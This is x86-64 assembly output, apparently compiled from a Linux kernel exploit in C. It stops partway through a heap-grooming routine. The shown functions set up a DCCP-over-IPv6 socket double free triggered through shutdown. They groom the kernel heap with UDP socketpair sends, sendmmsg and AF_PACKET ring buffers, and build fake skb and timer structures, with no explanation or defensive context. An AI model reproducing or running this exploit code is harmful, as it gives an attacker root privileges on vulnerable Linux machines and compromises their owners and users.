	.file	"775451.c"
	.intel_syntax noprefix
	.text
	.data
	.align 4
	.type	port, @object
	.size	port, 4
port:
	.long	11000
	.text
	.globl	debug
	.type	debug, @function
debug:
.LFB6:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	mov	QWORD PTR -8[rbp], rdi
	nop
	pop	rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE6:
	.size	debug, .-debug
	.globl	ui
	.bss
	.align 16
	.type	ui, @object
	.size	ui, 24
ui:
	.zero	24
	.text
	.globl	init_skb_buffer
	.type	init_skb_buffer, @function
init_skb_buffer:
.LFB7:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 32
	mov	QWORD PTR -24[rbp], rdi
	mov	QWORD PTR -32[rbp], rsi
	mov	rax, QWORD PTR -24[rbp]
	mov	edx, 2048
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	mov	rax, QWORD PTR -24[rbp]
	add	rax, 1728
	mov	QWORD PTR -8[rbp], rax
	mov	rax, QWORD PTR -8[rbp]
	mov	BYTE PTR 1[rax], -1
	lea	rdx, ui[rip]
	mov	rax, QWORD PTR -8[rbp]
	mov	QWORD PTR 40[rax], rdx
	mov	rax, QWORD PTR -8[rbp]
	mov	BYTE PTR [rax], 0
	mov	rax, QWORD PTR -8[rbp]
	mov	QWORD PTR 8[rax], 0
	mov	rax, QWORD PTR -32[rbp]
	mov	QWORD PTR ui[rip], rax
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE7:
	.size	init_skb_buffer, .-init_skb_buffer
	.globl	init_timer_buffer
	.type	init_timer_buffer, @function
init_timer_buffer:
.LFB8:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 48
	mov	QWORD PTR -24[rbp], rdi
	mov	QWORD PTR -32[rbp], rsi
	mov	QWORD PTR -40[rbp], rdx
	mov	rax, QWORD PTR -24[rbp]
	mov	edx, 2048
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	mov	rax, QWORD PTR -24[rbp]
	add	rax, 880
	mov	QWORD PTR -8[rbp], rax
	mov	rax, QWORD PTR -8[rbp]
	mov	QWORD PTR [rax], 0
	mov	rax, QWORD PTR -8[rbp]
	mov	QWORD PTR 8[rax], 0
	mov	rax, QWORD PTR -8[rbp]
	mov	ecx, 4294943360
	mov	QWORD PTR 16[rax], rcx
	mov	rdx, QWORD PTR -32[rbp]
	mov	rax, QWORD PTR -8[rbp]
	mov	QWORD PTR 24[rax], rdx
	mov	rax, QWORD PTR -8[rbp]
	mov	rdx, QWORD PTR -40[rbp]
	mov	QWORD PTR 32[rax], rdx
	mov	rax, QWORD PTR -8[rbp]
	mov	DWORD PTR 40[rax], 1
	mov	rax, QWORD PTR -8[rbp]
	mov	DWORD PTR 44[rax], -1
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE8:
	.size	init_timer_buffer, .-init_timer_buffer
	.section	.rodata
.LC0:
	.string	"::1"
.LC1:
	.string	"socket(SOCK_DCCP)"
.LC2:
	.string	"bind()"
.LC3:
	.string	"listen()"
.LC4:
	.string	"setsockopt(IPV6_RECVPKTINFO)"
	.text
	.globl	dccp_init
	.type	dccp_init, @function
dccp_init:
.LFB9:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 32
	mov	QWORD PTR -24[rbp], rdi
	mov	DWORD PTR -28[rbp], esi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	rax, QWORD PTR -24[rbp]
	mov	WORD PTR [rax], 10
	mov	eax, DWORD PTR -28[rbp]
	movzx	eax, ax
	mov	edi, eax
	call	htons@PLT
	mov	rdx, QWORD PTR -24[rbp]
	mov	WORD PTR 2[rdx], ax
	mov	rax, QWORD PTR -24[rbp]
	add	rax, 8
	mov	rdx, rax
	lea	rsi, .LC0[rip]
	mov	edi, 10
	call	inet_pton@PLT
	mov	rax, QWORD PTR -24[rbp]
	mov	DWORD PTR 4[rax], 0
	mov	rax, QWORD PTR -24[rbp]
	mov	DWORD PTR 24[rax], 0
	mov	edx, 0
	mov	esi, 6
	mov	edi, 10
	call	socket@PLT
	mov	rdx, QWORD PTR -24[rbp]
	mov	DWORD PTR 28[rdx], eax
	mov	rax, QWORD PTR -24[rbp]
	mov	eax, DWORD PTR 28[rax]
	cmp	eax, -1
	jne	.L5
	lea	rdi, .LC1[rip]
	call	perror@PLT
	mov	edi, 1
	call	exit@PLT
.L5:
	mov	rax, QWORD PTR -24[rbp]
	mov	rcx, rax
	mov	rax, QWORD PTR -24[rbp]
	mov	eax, DWORD PTR 28[rax]
	mov	edx, 28
	mov	rsi, rcx
	mov	edi, eax
	call	bind@PLT
	mov	DWORD PTR -12[rbp], eax
	cmp	DWORD PTR -12[rbp], 0
	je	.L6
	lea	rdi, .LC2[rip]
	call	perror@PLT
	mov	edi, 1
	call	exit@PLT
.L6:
	mov	rax, QWORD PTR -24[rbp]
	mov	eax, DWORD PTR 28[rax]
	mov	esi, 9
	mov	edi, eax
	call	listen@PLT
	mov	DWORD PTR -12[rbp], eax
	cmp	DWORD PTR -12[rbp], 0
	je	.L7
	lea	rdi, .LC3[rip]
	call	perror@PLT
	mov	edi, 1
	call	exit@PLT
.L7:
	mov	DWORD PTR -16[rbp], 8
	mov	rax, QWORD PTR -24[rbp]
	mov	eax, DWORD PTR 28[rax]
	lea	rdx, -16[rbp]
	mov	r8d, 4
	mov	rcx, rdx
	mov	edx, 49
	mov	esi, 41
	mov	edi, eax
	call	setsockopt@PLT
	mov	DWORD PTR -12[rbp], eax
	cmp	DWORD PTR -12[rbp], 0
	je	.L8
	lea	rdi, .LC4[rip]
	call	perror@PLT
	mov	edi, 1
	call	exit@PLT
.L8:
	mov	edx, 0
	mov	esi, 6
	mov	edi, 10
	call	socket@PLT
	mov	rdx, QWORD PTR -24[rbp]
	mov	DWORD PTR 32[rdx], eax
	mov	rax, QWORD PTR -24[rbp]
	mov	eax, DWORD PTR 28[rax]
	cmp	eax, -1
	jne	.L11
	lea	rdi, .LC1[rip]
	call	perror@PLT
	mov	edi, 1
	call	exit@PLT
.L11:
	nop
	mov	rax, QWORD PTR -8[rbp]
	sub	rax, QWORD PTR fs:40
	je	.L10
	call	__stack_chk_fail@PLT
.L10:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE9:
	.size	dccp_init, .-dccp_init
	.section	.rodata
.LC5:
	.string	"connect(SOCK_DCCP)"
	.text
	.globl	dccp_kmalloc_kfree
	.type	dccp_kmalloc_kfree, @function
dccp_kmalloc_kfree:
.LFB10:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 32
	mov	QWORD PTR -24[rbp], rdi
	mov	rax, QWORD PTR -24[rbp]
	mov	rcx, rax
	mov	rax, QWORD PTR -24[rbp]
	mov	eax, DWORD PTR 32[rax]
	mov	edx, 28
	mov	rsi, rcx
	mov	edi, eax
	call	connect@PLT
	mov	DWORD PTR -4[rbp], eax
	cmp	DWORD PTR -4[rbp], 0
	je	.L14
	lea	rdi, .LC5[rip]
	call	perror@PLT
	mov	edi, 1
	call	exit@PLT
.L14:
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE10:
	.size	dccp_kmalloc_kfree, .-dccp_kmalloc_kfree
	.section	.rodata
.LC6:
	.string	"shutdown(SOCK_DCCP)"
	.text
	.globl	dccp_kfree_again
	.type	dccp_kfree_again, @function
dccp_kfree_again:
.LFB11:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 32
	mov	QWORD PTR -24[rbp], rdi
	mov	rax, QWORD PTR -24[rbp]
	mov	eax, DWORD PTR 28[rax]
	mov	esi, 2
	mov	edi, eax
	call	shutdown@PLT
	mov	DWORD PTR -4[rbp], eax
	cmp	DWORD PTR -4[rbp], 0
	je	.L17
	lea	rdi, .LC6[rip]
	call	perror@PLT
	mov	edi, 1
	call	exit@PLT
.L17:
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE11:
	.size	dccp_kfree_again, .-dccp_kfree_again
	.globl	dccp_destroy
	.type	dccp_destroy, @function
dccp_destroy:
.LFB12:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	QWORD PTR -8[rbp], rdi
	mov	rax, QWORD PTR -8[rbp]
	mov	eax, DWORD PTR 28[rax]
	mov	edi, eax
	call	close@PLT
	mov	rax, QWORD PTR -8[rbp]
	mov	eax, DWORD PTR 32[rax]
	mov	edi, eax
	call	close@PLT
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE12:
	.size	dccp_destroy, .-dccp_destroy
	.section	.rodata
.LC7:
	.string	"socketpair()"
	.text
	.globl	udp_fifo_init
	.type	udp_fifo_init, @function
udp_fifo_init:
.LFB13:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 32
	mov	QWORD PTR -24[rbp], rdi
	mov	rax, QWORD PTR -24[rbp]
	mov	rcx, rax
	mov	edx, 0
	mov	esi, 2
	mov	edi, 1
	call	socketpair@PLT
	mov	DWORD PTR -4[rbp], eax
	cmp	DWORD PTR -4[rbp], 0
	je	.L21
	lea	rdi, .LC7[rip]
	call	perror@PLT
	mov	edi, 1
	call	exit@PLT
.L21:
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE13:
	.size	udp_fifo_init, .-udp_fifo_init
	.globl	udp_fifo_destroy
	.type	udp_fifo_destroy, @function
udp_fifo_destroy:
.LFB14:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	QWORD PTR -8[rbp], rdi
	mov	rax, QWORD PTR -8[rbp]
	mov	eax, DWORD PTR [rax]
	mov	edi, eax
	call	close@PLT
	mov	rax, QWORD PTR -8[rbp]
	mov	eax, DWORD PTR 4[rax]
	mov	edi, eax
	call	close@PLT
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE14:
	.size	udp_fifo_destroy, .-udp_fifo_destroy
	.section	.rodata
.LC8:
	.string	"send()"
	.text
	.globl	udp_fifo_kmalloc
	.type	udp_fifo_kmalloc, @function
udp_fifo_kmalloc:
.LFB15:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 32
	mov	QWORD PTR -24[rbp], rdi
	mov	QWORD PTR -32[rbp], rsi
	mov	rax, QWORD PTR -24[rbp]
	mov	eax, DWORD PTR [rax]
	mov	rsi, QWORD PTR -32[rbp]
	mov	ecx, 0
	mov	edx, 1536
	mov	edi, eax
	call	send@PLT
	mov	DWORD PTR -4[rbp], eax
	cmp	DWORD PTR -4[rbp], 1536
	je	.L25
	lea	rdi, .LC8[rip]
	call	perror@PLT
	mov	edi, 1
	call	exit@PLT
.L25:
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE15:
	.size	udp_fifo_kmalloc, .-udp_fifo_kmalloc
	.globl	udp_fifo_kmalloc_small
	.type	udp_fifo_kmalloc_small, @function
udp_fifo_kmalloc_small:
.LFB16:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 176
	mov	QWORD PTR -168[rbp], rdi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	rax, QWORD PTR -168[rbp]
	mov	eax, DWORD PTR [rax]
	lea	rsi, -144[rbp]
	mov	ecx, 0
	mov	edx, 128
	mov	edi, eax
	call	send@PLT
	mov	DWORD PTR -148[rbp], eax
	cmp	DWORD PTR -148[rbp], 128
	je	.L29
	lea	rdi, .LC8[rip]
	call	perror@PLT
	mov	edi, 1
	call	exit@PLT
.L29:
	nop
	mov	rax, QWORD PTR -8[rbp]
	sub	rax, QWORD PTR fs:40
	je	.L28
	call	__stack_chk_fail@PLT
.L28:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE16:
	.size	udp_fifo_kmalloc_small, .-udp_fifo_kmalloc_small
	.section	.rodata
.LC9:
	.string	"recv()"
	.text
	.globl	udp_fifo_kfree
	.type	udp_fifo_kfree, @function
udp_fifo_kfree:
.LFB17:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 2096
	mov	QWORD PTR -2088[rbp], rdi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	rax, QWORD PTR -2088[rbp]
	mov	eax, DWORD PTR 4[rax]
	lea	rsi, -2064[rbp]
	mov	ecx, 0
	mov	edx, 1536
	mov	edi, eax
	call	recv@PLT
	mov	DWORD PTR -2068[rbp], eax
	cmp	DWORD PTR -2068[rbp], 1536
	je	.L33
	lea	rdi, .LC9[rip]
	call	perror@PLT
	mov	edi, 1
	call	exit@PLT
.L33:
	nop
	mov	rax, QWORD PTR -8[rbp]
	sub	rax, QWORD PTR fs:40
	je	.L32
	call	__stack_chk_fail@PLT
.L32:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE17:
	.size	udp_fifo_kfree, .-udp_fifo_kfree
	.section	.rodata
.LC10:
	.string	"socket(SOCK_DGRAM)"
	.text
	.globl	timer_kmalloc
	.type	timer_kmalloc, @function
timer_kmalloc:
.LFB18:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	edi, 2054
	call	htons@PLT
	movzx	eax, ax
	mov	edx, eax
	mov	esi, 2
	mov	edi, 17
	call	socket@PLT
	mov	DWORD PTR -4[rbp], eax
	cmp	DWORD PTR -4[rbp], -1
	jne	.L35
	lea	rdi, .LC10[rip]
	call	perror@PLT
	mov	edi, 1
	call	exit@PLT
.L35:
	mov	eax, DWORD PTR -4[rbp]
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE18:
	.size	timer_kmalloc, .-timer_kmalloc
	.section	.rodata
.LC11:
	.string	"setsockopt(PACKET_VERSION)"
.LC12:
	.string	"setsockopt(PACKET_RX_RING)"
	.text
	.globl	timer_schedule
	.type	timer_schedule, @function
timer_schedule:
.LFB19:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 80
	mov	DWORD PTR -68[rbp], edi
	mov	DWORD PTR -72[rbp], esi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	DWORD PTR -56[rbp], 2
	lea	rdx, -56[rbp]
	mov	eax, DWORD PTR -68[rbp]
	mov	r8d, 4
	mov	rcx, rdx
	mov	edx, 10
	mov	esi, 263
	mov	edi, eax
	call	setsockopt@PLT
	mov	DWORD PTR -52[rbp], eax
	cmp	DWORD PTR -52[rbp], 0
	je	.L38
	lea	rdi, .LC11[rip]
	call	perror@PLT
	mov	edi, 1
	call	exit@PLT
.L38:
	lea	rax, -48[rbp]
	mov	edx, 28
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	call	getpagesize@PLT
	mov	DWORD PTR -48[rbp], eax
	mov	DWORD PTR -44[rbp], 1
	call	getpagesize@PLT
	mov	DWORD PTR -40[rbp], eax
	mov	DWORD PTR -36[rbp], 1
	mov	eax, DWORD PTR -72[rbp]
	mov	DWORD PTR -32[rbp], eax
	lea	rdx, -48[rbp]
	mov	eax, DWORD PTR -68[rbp]
	mov	r8d, 28
	mov	rcx, rdx
	mov	edx, 5
	mov	esi, 263
	mov	edi, eax
	call	setsockopt@PLT
	mov	DWORD PTR -52[rbp], eax
	cmp	DWORD PTR -52[rbp], 0
	je	.L41
	lea	rdi, .LC12[rip]
	call	perror@PLT
	mov	edi, 1
	call	exit@PLT
.L41:
	nop
	mov	rax, QWORD PTR -8[rbp]
	sub	rax, QWORD PTR fs:40
	je	.L40
	call	__stack_chk_fail@PLT
.L40:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE19:
	.size	timer_schedule, .-timer_schedule
	.section	.rodata
.LC13:
	.string	"root"
.LC14:
	.string	"[-] sendmmsg()"
	.text
	.globl	socket_sendmmsg
	.type	socket_sendmmsg, @function
socket_sendmmsg:
.LFB20:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 112
	mov	DWORD PTR -100[rbp], edi
	mov	QWORD PTR -112[rbp], rsi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	QWORD PTR -56[rbp], 0
	mov	rax, QWORD PTR -112[rbp]
	mov	QWORD PTR -48[rbp], rax
	mov	QWORD PTR -40[rbp], 2048
	lea	rax, .LC13[rip]
	mov	QWORD PTR -80[rbp], rax
	mov	DWORD PTR -72[rbp], 1
	lea	rdx, -80[rbp]
	mov	eax, DWORD PTR -100[rbp]
	mov	r8d, 0
	mov	ecx, 1
	mov	esi, eax
	mov	edi, 307
	mov	eax, 0
	call	syscall@PLT
	mov	DWORD PTR -84[rbp], eax
	cmp	DWORD PTR -84[rbp], -1
	jne	.L45
	call	__errno_location@PLT
	mov	eax, DWORD PTR [rax]
	cmp	eax, 22
	je	.L45
	lea	rdi, .LC14[rip]
	call	perror@PLT
	mov	edi, 1
	call	exit@PLT
.L45:
	nop
	mov	rax, QWORD PTR -8[rbp]
	sub	rax, QWORD PTR fs:40
	je	.L44
	call	__stack_chk_fail@PLT
.L44:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE20:
	.size	socket_sendmmsg, .-socket_sendmmsg
	.globl	sendmmsg_kmalloc_kfree
	.type	sendmmsg_kmalloc_kfree, @function
sendmmsg_kmalloc_kfree:
.LFB21:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 48
	mov	DWORD PTR -36[rbp], edi
	mov	QWORD PTR -48[rbp], rsi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	lea	rax, -16[rbp]
	mov	rcx, rax
	mov	edx, 0
	mov	esi, 2
	mov	edi, 1
	call	socketpair@PLT
	mov	DWORD PTR -20[rbp], eax
	cmp	DWORD PTR -20[rbp], 0
	je	.L47
	lea	rdi, .LC7[rip]
	call	perror@PLT
	mov	edi, 1
	call	exit@PLT
.L47:
	mov	eax, DWORD PTR -16[rbp]
	mov	rdx, QWORD PTR -48[rbp]
	mov	rsi, rdx
	mov	edi, eax
	call	socket_sendmmsg
	mov	eax, DWORD PTR -16[rbp]
	mov	edi, eax
	call	close@PLT
	nop
	mov	rax, QWORD PTR -8[rbp]
	sub	rax, QWORD PTR fs:40
	je	.L48
	call	__stack_chk_fail@PLT
.L48:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE21:
	.size	sendmmsg_kmalloc_kfree, .-sendmmsg_kmalloc_kfree
	.globl	dccp_connect_pad
	.type	dccp_connect_pad, @function
dccp_connect_pad:
.LFB22:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 32
	mov	QWORD PTR -24[rbp], rdi
	mov	DWORD PTR -28[rbp], esi
	mov	rax, QWORD PTR -24[rbp]
	mov	WORD PTR [rax], 10
	mov	eax, DWORD PTR -28[rbp]
	movzx	eax, ax
	mov	edi, eax
	call	htons@PLT
	mov	rdx, QWORD PTR -24[rbp]
	mov	WORD PTR 2[rdx], ax
	mov	rax, QWORD PTR -24[rbp]
	add	rax, 8
	mov	rdx, rax
	lea	rsi, .LC0[rip]
	mov	edi, 10
	call	inet_pton@PLT
	mov	rax, QWORD PTR -24[rbp]
	mov	DWORD PTR 4[rax], 0
	mov	rax, QWORD PTR -24[rbp]
	mov	DWORD PTR 24[rax], 0
	mov	edx, 0
	mov	esi, 6
	mov	edi, 10
	call	socket@PLT
	mov	rdx, QWORD PTR -24[rbp]
	mov	DWORD PTR 28[rdx], eax
	mov	rax, QWORD PTR -24[rbp]
	mov	eax, DWORD PTR 28[rax]
	cmp	eax, -1
	jne	.L50
	lea	rdi, .LC1[rip]
	call	perror@PLT
	mov	edi, 1
	call	exit@PLT
.L50:
	mov	rax, QWORD PTR -24[rbp]
	mov	rcx, rax
	mov	rax, QWORD PTR -24[rbp]
	mov	eax, DWORD PTR 28[rax]
	mov	edx, 28
	mov	rsi, rcx
	mov	edi, eax
	call	bind@PLT
	mov	DWORD PTR -4[rbp], eax
	cmp	DWORD PTR -4[rbp], 0
	je	.L51
	lea	rdi, .LC2[rip]
	call	perror@PLT
	mov	edi, 1
	call	exit@PLT
.L51:
	mov	rax, QWORD PTR -24[rbp]
	mov	eax, DWORD PTR 28[rax]
	mov	esi, 9
	mov	edi, eax
	call	listen@PLT
	mov	DWORD PTR -4[rbp], eax
	cmp	DWORD PTR -4[rbp], 0
	je	.L52
	lea	rdi, .LC3[rip]
	call	perror@PLT
	mov	edi, 1
	call	exit@PLT
.L52:
	mov	edx, 0
	mov	esi, 6
	mov	edi, 10
	call	socket@PLT
	mov	rdx, QWORD PTR -24[rbp]
	mov	DWORD PTR 32[rdx], eax
	mov	rax, QWORD PTR -24[rbp]
	mov	eax, DWORD PTR 28[rax]
	cmp	eax, -1
	jne	.L53
	lea	rdi, .LC1[rip]
	call	perror@PLT
	mov	edi, 1
	call	exit@PLT
.L53:
	mov	rax, QWORD PTR -24[rbp]
	mov	rcx, rax
	mov	rax, QWORD PTR -24[rbp]
	mov	eax, DWORD PTR 32[rax]
	mov	edx, 28
	mov	rsi, rcx
	mov	edi, eax
	call	connect@PLT
	mov	DWORD PTR -4[rbp], eax
	cmp	DWORD PTR -4[rbp], 0
	je	.L55
	lea	rdi, .LC5[rip]
	call	perror@PLT
	mov	edi, 1
	call	exit@PLT
.L55:
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE22:
	.size	dccp_connect_pad, .-dccp_connect_pad
	.globl	dccp_kmalloc_pad
	.type	dccp_kmalloc_pad, @function
dccp_kmalloc_pad:
.LFB23:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 64
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	DWORD PTR -52[rbp], 0
	jmp	.L57
.L58:
	mov	eax, DWORD PTR port[rip]
	lea	edx, 1[rax]
	mov	DWORD PTR port[rip], edx
	lea	rdx, -48[rbp]
	mov	esi, eax
	mov	rdi, rdx
	call	dccp_connect_pad
	add	DWORD PTR -52[rbp], 1
.L57:
	cmp	DWORD PTR -52[rbp], 3
	jle	.L58
	nop
	mov	rax, QWORD PTR -8[rbp]
	sub	rax, QWORD PTR fs:40
	je	.L59
	call	__stack_chk_fail@PLT
.L59:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE23:
	.size	dccp_kmalloc_pad, .-dccp_kmalloc_pad
	.globl	timer_kmalloc_pad
	.type	timer_kmalloc_pad, @function
timer_kmalloc_pad:
.LFB24:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	DWORD PTR -4[rbp], 0
	jmp	.L61
.L62:
	mov	edi, 2054
	call	htons@PLT
	movzx	eax, ax
	mov	edx, eax
	mov	esi, 2
	mov	edi, 17
	call	socket@PLT
	add	DWORD PTR -4[rbp], 1
.L61:
	cmp	DWORD PTR -4[rbp], 3
	jle	.L62
	nop
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE24:
	.size	timer_kmalloc_pad, .-timer_kmalloc_pad
	.globl	udp_kmalloc_pad
	.type	udp_kmalloc_pad, @function
udp_kmalloc_pad:
.LFB25:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 2208
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	DWORD PTR -2200[rbp], 0
	jmp	.L64
.L67:
	lea	rdx, -2192[rbp]
	mov	eax, DWORD PTR -2200[rbp]
	cdqe
	sal	rax, 3
	add	rax, rdx
	mov	rdi, rax
	call	udp_fifo_init
	mov	DWORD PTR -2196[rbp], 0
	jmp	.L65
.L66:
	lea	rdx, -2192[rbp]
	mov	eax, DWORD PTR -2200[rbp]
	cdqe
	sal	rax, 3
	add	rdx, rax
	lea	rax, -2064[rbp]
	mov	rsi, rax
	mov	rdi, rdx
	call	udp_fifo_kmalloc
	add	DWORD PTR -2196[rbp], 1
.L65:
	cmp	DWORD PTR -2196[rbp], 15
	jle	.L66
	add	DWORD PTR -2200[rbp], 1
.L64:
	cmp	DWORD PTR -2200[rbp], 7
	jle	.L67
	nop
	mov	rax, QWORD PTR -8[rbp]
	sub	rax, QWORD PTR fs:40
	je	.L68
	call	__stack_chk_fail@PLT
.L68:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE25:
	.size	udp_kmalloc_pad, .-udp_kmalloc_pad
	.section	.rodata
.LC15:
	.string	"dccp kmalloc pad"
.LC16:
	.string	"timer kmalloc pad"
.LC17:
	.string	"udp kmalloc pad"
	.text
	.globl	kmalloc_pad
	.type	kmalloc_pad, @function
kmalloc_pad:
.LFB26:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	lea	rdi, .LC15[rip]
	call	debug
	mov	eax, 0
	call	dccp_kmalloc_pad
	lea	rdi, .LC16[rip]
	call	debug
	mov	eax, 0
	call	timer_kmalloc_pad
	lea	rdi, .LC17[rip]
	call	debug
	mov	eax, 0
	call	udp_kmalloc_pad
	nop
	pop	rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE26:
	.size	kmalloc_pad, .-kmalloc_pad
	.globl	udp_kmalloc_warm
	.type	udp_kmalloc_warm, @function
udp_kmalloc_warm:
.LFB27:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 2208
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	DWORD PTR -2200[rbp], 0
	jmp	.L71
.L74:
	lea	rdx, -2192[rbp]
	mov	eax, DWORD PTR -2200[rbp]
	cdqe
	sal	rax, 3
	add	rax, rdx
	mov	rdi, rax
	call	udp_fifo_init
	mov	DWORD PTR -2196[rbp], 0
	jmp	.L72
.L73:
	lea	rdx, -2192[rbp]
	mov	eax, DWORD PTR -2200[rbp]
	cdqe
	sal	rax, 3
	add	rdx, rax
	lea	rax, -2064[rbp]
	mov	rsi, rax
	mov	rdi, rdx
	call	udp_fifo_kmalloc
	add	DWORD PTR -2196[rbp], 1
.L72:
	cmp	DWORD PTR -2196[rbp], 15
	jle	.L73
	add	DWORD PTR -2200[rbp], 1
.L71:
	cmp	DWORD PTR -2200[rbp], 1
	jle	.L74
	mov	DWORD PTR -2200[rbp], 0
	jmp	.L75
.L78:
	mov	DWORD PTR -2196[rbp], 0
	jmp	.L76
.L77:
	lea	rdx, -2192[rbp]
	mov	eax, DWORD PTR -2200[rbp]
	cdqe
	sal	rax, 3
	add	rax, rdx
	mov	rdi, rax
	call	udp_fifo_kfree
	add	DWORD PTR -2196[rbp], 1
.L76:
	cmp	DWORD PTR -2196[rbp], 15
	jle	.L77
	add	DWORD PTR -2200[rbp], 1
.L75:
	cmp	DWORD PTR -2200[rbp], 1
	jle	.L78
	nop
	mov	rax, QWORD PTR -8[rbp]
	sub	rax, QWORD PTR fs:40
	je	.L79
	call	__stack_chk_fail@PLT
.L79:
	leave
	.cfi_def_cfa 7, 8
	ret
